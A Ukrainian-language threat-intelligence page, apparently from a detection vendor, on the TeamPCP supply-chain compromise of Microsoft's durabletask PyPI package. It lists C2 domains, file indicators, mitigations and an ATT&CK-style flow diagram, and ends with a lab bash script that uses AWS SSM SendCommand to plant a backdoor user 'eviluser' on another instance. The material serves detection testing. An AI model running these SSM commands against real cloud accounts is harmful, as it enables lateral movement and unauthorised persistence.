durabletask: Останній компроміс у ланцюгу поставок PyPI від TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Атака на ланцюг постачання була спрямована на Microsoft durabletask Пакет Python на PyPI, що призвело до публікації шкідливих версій 1.4.1, 1.4.2, і 1.4.3. Зловмисник, як повідомляється, використав скомпрометований обліковий запис GitHub, щоб отримати токен PyPI та завантажити підготовлені wheel файли. Шкідливий корисний навантаження було доставлено через rope.pyz архіви, призначені для викрадення хмарних облікових даних і поширення на додаткові системи. Зусилля з виявлення повинні бути зосереджені на конкретних тимчасових файлах, підозрілої активності процесів та трафіку до визначених командно-контрольних доменів.
Розслідування
Wiz зв’язав скомпрометований обліковий запис GitHub з попередньою @antv кампанією. Їх аналіз виявив, що зловмисник повторно використовував повідомлення комітів та отримав доступ до витеклих секретів GitHub, що містять токен для публікації на PyPI. До шкідливих wheel файлів входив transformers.pyz компонент, що скидає rope.pyz вмісти у /tmp та ініціює командно-контрольне спілкування з check.git-service.com and t.m-kosche.com.
Заходи зменшення ризику
Організації повинні змінити потенційно розкриті облікові дані хмарних сервісів та менеджерів паролів, заблокувати виявлені командно-контрольні домени та URL-адреси, а також шукати індикатори зараження такі як ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Будь-які тимчасові managed.pyz or rope-*.pyz файли повинні бути видалені, а пов’язані процеси Python припинені. GitHub Actions та PyPI робочі потоки публікацій повинні бути посилені, щоб зменшити ризик подібних компрометацій.
Відповідь
Команди безпеки повинні виявити будь-яке використання durabletask версій 1.4.1 через 1.4.3, шукати /tmp/managed.pyz and /tmp/rope-*.pyz, та стежити за python3 процесами, що виконують ці файли. Вихідний DNS і HTTP трафік до check.git-service.com and t.m-kosche.com повинен бути заблокований, а журнали CloudTrail і Kubernetes повинні бути перевірені на підозрілу активність SSM або kubectl exec діяльність. Постраждалі облікові дані повинні бути негайно змінені, а журнали менеджера паролів перевірені на ознаки грубої сили або несанкціонованого доступу.
“graph TB
%% Визначення класів
classDef action fill:#99ccff
classDef tool fill:#ffcc99
classDef file fill:#ccffcc
classDef malware fill:#ff9999
classDef credential fill:#ffff99
classDef operator fill:#ff9900
classDef c2 fill:#ffb6c1
%% Вузли
initial_node[“Початок: Зловмисник отримує дійсні облікові дані GitHub”]
class initial_node action
action_initial_access[“Дія – T1078 Дійсні Облікові Записи: Скомпрометований обліковий запис GitHub надає доступ до репозиторію”]
class action_initial_access action
tool_gitHub[“Інструмент – Назва: GitHub
Роль: Платформа для хостингу вихідного коду”]
class tool_gitHub tool
action_cred_exploit[“Дія – T1212 Експлуатація для Отримання Облікових Даних: Витягнуті секрети GitHub для отримання токену PyPI”]
class action_cred_exploit action
file_pypi_token[“Файл – Назва: Токен PyPI”]
class file_pypi_token file
action_cred_password_stores[“Дія – T1555.005 Менеджери Паролів & T1555.006 Хронення Секретів Хмари: Зібрані облікові дані для хмарних платформ та менеджерів паролів”]
class action_cred_password_stores action
credential_aws[“Облікові Дані: Ключі доступу AWS та токен SSM”]
class credential_aws credential
credential_azure[“Облікові Дані: Головний компонент служби Azure”]
class credential_azure credential
credential_gcp[“Облікові Дані: Обліковий запис служби GCP”]
class credential_gcp credential
credential_k8s[“Облікові Дані: Токен облікового запису служби Kubernetes”]
class credential_k8s credential
credential_vault[“Облікові Дані: Токен HashiCorp Vault”]
class credential_vault credential
action_supply_chain[“Дія – T1195.002 Компрометація Ланцюга Поставок Програмного Забезпечення: Використано токен PyPI для публікації шкідливих пакетів durabletask 1.4.1 1.4.3″]
class action_supply_chain action
tool_pypi[“Інструмент – Назва: Репозиторій PyPI”]
class tool_pypi tool
malware_durabletask[“Шкідливе ПЗ – Назва: Пакет durabletask (шкідливий)”]
class malware_durabletask malware
action_execution[“Дія – T1204.002 Виконання Користувачем: Шкідливий Файл: Жертви встановлюють скомпрометований пакет, що спричиняє завантаження корисного навантаження”]
class action_execution action
file_managed[“Файл – Шлях: /tmp/managed.pyz”]
class file_managed file
file_rope[“Файл – Шлях: /tmp/rope-*.pyz”]
class file_rope file
action_defense_evasion[“Дія – T1127 Виконання Проксі-довірених Розробників: Шкідливий код був виконаний через імпортовані гачки Python”]
class action_defense_evasion action
action_persistence[“Дія – T1176 Розширення Програмного Забезпечення: Точки ін’єкції в init.py та інших модулях”]
class action_persistence action
action_credential_dumping[“Дія – T1003 Скидання Облікових Даних ОС: Вилучені токени AWS SSM, токени Kubernetes та історія оболонки”]
class action_credential_dumping action
action_lateral_movement[“Дія – T1570 Інструмент для Переміщення Латералі: Поширення на додаткові хости через AWS SSM та Kubernetes exec”]
class action_lateral_movement action
tool_aws_ssm[“Інструмент – Назва: AWS SSM”]
class tool_aws_ssm tool
tool_k8s_exec[“Інструмент – Назва: Kubernetes exec”]
class tool_k8s_exec tool
op_and((“AND”))
class op_and operator
action_c2[“Дія – T1219 Засоби Віддаленого Доступу & T1071.001 Веб-протоколи: Спілкування з доменами C2 за допомогою кінцевої точки /v1/models”]
class action_c2 action
c2_domain1[“Домен C2: check.git-service.com”]
class c2_domain1 c2
c2_domain2[“Домен C2: t.mu2011kosche.com”]
class c2_domain2 c2
action_exfiltration[“Дія – T1048 Екфільтрація по Альтернативному Протоколу: Відправка даних на кінцеву точку /api/public/version”]
class action_exfiltration action
exfil_endpoint[“Кінцева точка: /api/public/version”]
class exfil_endpoint c2
%% Підключення
initial_node –>|веде до| action_initial_access
action_initial_access –>|включає| action_cred_exploit
action_cred_exploit –>|захоплює| file_pypi_token
file_pypi_token –>|використовується| action_supply_chain
action_supply_chain –>|публікації| malware_durabletask
malware_durabletask –>|встановлений| action_execution
action_execution –>|завантаження| file_managed
action_execution –>|завантаження| file_rope
file_managed –>|виконаний| action_defense_evasion
file_rope –>|виконаний| action_defense_evasion
action_defense_evasion –>|встановлює| action_persistence
action_persistence –>|включає| action_credential_dumping
action_credential_dumping –>|збирає| credential_aws
action_credential_dumping –>|збирає| credential_azure
action_credential_dumping –>|збирає| credential_gcp
action_credential_dumping –>|збирає| credential_k8s
action_credential_dumping –>|збирає| credential_vault
credential_aws –>|використовується для| action_lateral_movement
credential_k8s –>|використовується для| action_lateral_movement
action_lateral_movement –>|використовує| tool_aws_ssm
action_lateral_movement –>|використовує| tool_k8s_exec
action_lateral_movement –>|поширюється| op_and
op_and –>|з’єднується з| action_c2
action_c2 –>|звертається до| c2_domain1
action_c2 –>|звертається до| c2_domain2
c2_domain1 –>|отримує дані| action_exfiltration
c2_domain2 –>|отримує дані| action_exfiltration
action_exfiltration –>|відправляє| exfil_endpoint
“
Потік атаки
Методи виявлення
Завантаження підозрілого виконавчого файлу (через проксі)
Переглянути
Скрипт Linux було створено в тимчасових папках (через file_event)
Переглянути
Прихований файл був створений на хості Linux (через file_event)
Переглянути
IOCs (HashSha256) для виявлення: durabletask: Остання компрометація PyPi від TeamPCP
Переглянути
Вихідне підключення до доменів C2 від TeamPCP [Проксі]
Переглянути
Виявлення виконання Python Payload через /tmp/managed.pyz [Створення процесу Linux]
Переглянути
Виявлення поширення AWS SSM через SSM:SendCommand та SSM:DescribeInstanceInformation [AWS CloudTrail]
Переглянути
Експериментальне виконання
Передумова: Перевірка перед польотом Телеметрії та Еталону повинна бути пройдена.
Мотивування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив повинен точно відображати визначені TTP та бути спрямованими на генерування точної телеметрії, очікуваної логікою виявлення.
-
Опис атак та команди:
Супротивник отримав облікові дані на скомпрометованому екземплярі EC2 (Екземпляр A). Використовуючи ці облікові дані, зловмисник використовує AWS Systems Manager для вторгнення в другий екземпляр (Екземпляр B) без відкриття будь-яких мережевих портів. Кроки такі:- Перераховуйте доступні екземпляри via
SSM:DescribeInstanceInformationдля визначення цілей. - Відправити шкідливу команду через
SSM:SendCommand(наприклад, створіть нового привілейованого користувача) на цільовий екземпляр. - Перевірити виконання отриманням виведення команд.
Зловмисник використовує AWS CLI, що безпосередньо генерує події CloudTrail для обох API-викликів, що задовільняє умови правила.
- Перераховуйте доступні екземпляри via
-
Сценарій регресійного тестування: Сценарій, наведений нижче, відтворює атаку в контрольованій лабораторії. Він очікує, що AWS CLI буде налаштований за допомогою облікових даних, які мають
ssm:SendCommandandssm:DescribeInstanceInformationдозволи.#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Змінні – налаштуйте для свого лабораторного середовища # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Екземпляр A (точка входу зловмисника) TARGET_INSTANCE="i-0fedcba9876543210" # Екземпляр B (латеральна ціль) # 1⃣ Перераховуйте керовані SSM екземпляри (викликає DescribeInstanceInformation) echo "[*] Перераховуються керовані SSM екземпляри..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2⃣ Відправити шкідливий корисний навантаження на $TARGET_INSTANCE ... echo "[*] Відправлення шкідливого корисного навантаження на $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Збереження шкідливого користувача" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3⃣ Отримання ідентифікатора команди та очікування завершення (необов'язково) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] Ідентифікатор команди: $CMD_ID – очікування виконання..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Симуляція завершена. CloudTrail тепер повинна містити як SSM:DescribeInstanceInformation, так і SSM:SendCommand події." -
Команди очищення: Вилучіть шкідливого користувача та видаліть будь-яку залишкову історію команд.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Очищення шкідливих артефактів на $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Очищення після тесту" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"